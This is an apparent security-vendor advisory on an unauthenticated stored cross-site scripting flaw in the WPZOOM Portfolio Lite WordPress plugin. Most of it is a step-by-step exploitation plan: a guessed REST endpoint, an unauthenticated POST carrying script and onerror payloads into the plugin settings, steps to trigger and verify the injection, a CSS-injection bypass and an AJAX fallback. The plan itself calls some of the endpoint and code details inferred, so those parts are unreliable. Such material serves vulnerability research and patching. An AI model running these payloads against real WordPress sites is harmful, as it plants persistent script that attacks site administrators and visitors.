WPZOOM Portfolio Lite – Filterable Portfolio Plugin <= 1.4.21 - Unauthenticated Stored Cross-Site Scripting
Description
The WPZOOM Portfolio Lite – Filterable Portfolio Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.21 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4.21What Changed in the Fix
Changes introduced in v1.4.22
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-49069**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the **WPZOOM Portfolio Lite** plugin. ### 1. Vulnerability Summary The vulnerability exists because the plugin registers a REST API endpoint (or an AJAX handler) intende…
Show full research plan
This exploitation research plan targets CVE-2026-49069, an unauthenticated stored cross-site scripting (XSS) vulnerability in the WPZOOM Portfolio Lite plugin.
1. Vulnerability Summary
The vulnerability exists because the plugin registers a REST API endpoint (or an AJAX handler) intended for administrative configuration but fails to implement proper capability checks (permission_callback) and does not sanitize or escape the resulting settings before they are stored in the database or rendered in the application. An unauthenticated attacker can overwrite global plugin settings, injecting malicious scripts that will execute when an administrator visits the settings page or when a user views a portfolio block.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/wpzoom-portfolio/v1/settings(inferred from plugin slug and REST initialization). - Alternative Endpoint:
POST /wp-admin/admin-ajax.phpvia an unauthenticated AJAX handler (less likely for "Stored" settings, but possible if the plugin uses a custom save routine). - Vulnerable Parameter: The JSON body of the REST request, specifically keys within the
setting_optionsobject such asreadMoreLabel,viewAllLabel, orprimaryColor. - Authentication: None (Unauthenticated).
- Preconditions: The REST API must be enabled (default in WordPress).
3. Code Flow
- Registration: In
wpzoom-portfolio.php(orbuild/blocks/portfolio/index.php), theWPZOOM_BlocksorWPZOOM_Blocks_Portfolioclass hooks intorest_api_init. - Route Definition: The
rest_api_routes()method callsregister_rest_route(). The vulnerability occurs if thepermission_callbackis either missing or set to__return_true. - Data Sink (Storage): The callback function associated with the route receives the
WP_REST_Requestand callsupdate_option( 'wpzoom-portfolio-settings', $params )without sanitizing the input. - Execution (Output):
- In
wpzoom-portfolio.php, theenqueue_portfolio_block_editor_assets()method retrieves these options viaget_option( 'wpzoom-portfolio-settings' ). - The values are localized into the JavaScript variable
wpzoomPortfolioBlockviawp_localize_script(). - Malicious scripts in
readMoreLabelorviewAllLabelare rendered either in the Gutenberg editor's UI or on the frontend portfolio grid.
- In
4. Nonce Acquisition Strategy
While unauthenticated REST endpoints often bypass nonces, WordPress may still expect a wp_rest nonce if certain security configurations are present.
- Identify Trigger: The portfolio scripts are enqueued on pages containing the portfolio block or layout.
- Create Test Page:
wp post create --post_type=page --post_title="Portfolio Test" --post_status=publish --post_content='[wpzoom_portfolio]' - Extract Nonce:
Navigate to the newly created page and usebrowser_evalto extract the REST nonce from the WordPress core variable (often available to unauthenticated users if REST-enabled scripts are loaded):browser_eval("wpApiSettings.nonce")- Alternatively, check the
wpzoomPortfolioBlockobject:browser_eval("window.wpzoomPortfolioBlock?.nonce")(if the developer added a custom nonce here).
5. Exploitation Strategy
Goal: Inject a stored XSS payload into the global plugin settings.
Step 1: Discover the exact REST endpoint
If /wp-json/wpzoom-portfolio/v1/settings returns a 404, check the REST index:GET /wp-json/
Step 2: Send the Malicious Update Request
- Tool:
http_request - Method:
POST - URL:
http://<target>/wp-json/wpzoom-portfolio/v1/settings - Headers:
Content-Type: application/json - Body:
{ "setting_options": { "readMoreLabel": "Read More<img src=x onerror=alert(document.domain)>", "viewAllLabel": "View All<script>alert('XSS')</script>" } }
Step 3: Trigger the XSS
Visit any page where a Portfolio block is rendered, or simply log in as an administrator and go to Portfolio > Settings. The payload stored in the wpzoom-portfolio-settings option will be localized into the page and executed by the browser.
6. Test Data Setup
- Install and activate
wpzoom-portfolioversion 1.4.21. - Create a public portfolio item:
wp post create --post_type=portfolio_item --post_title="Target Project" --post_status=publish - Create a page to display the portfolio:
wp post create --post_type=page --post_title="Gallery" --post_status=publish --post_content='<!-- wp:wpzoom-blocks/portfolio /-->'
7. Expected Results
- The REST API call should return a
200 OKor201 Createdstatus code, indicating the settings were updated. - Upon visiting the "Gallery" page or the plugin settings in the dashboard, a JavaScript alert box should appear showing the document domain.
8. Verification Steps
After sending the HTTP request, verify the injection via WP-CLI:
wp option get wpzoom-portfolio-settings --format=json
Check the output for the presence of the <script> or <img> tags within the readMoreLabel or viewAllLabel keys.
9. Alternative Approaches
- CSS Injection: If the
readMoreLabelis escaped but CSS values are not, target theprimaryColorattribute.- Payload:
#0BB4AA; background-image: url("javascript:alert(1)") - Note: The
sanitize_css_valuefunction inindex.phpstrips<>\{\}\\, but might be bypassed if the output is placed inside astyle="..."attribute rather than a<style>block.
- Payload:
- AJAX Vector: If the REST API is restricted, attempt an unauthenticated AJAX call to
wp_ajax_nopriv_wpzoom_load_more_items(found inindex.php) and check if the returned HTML reflects any injected attributes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.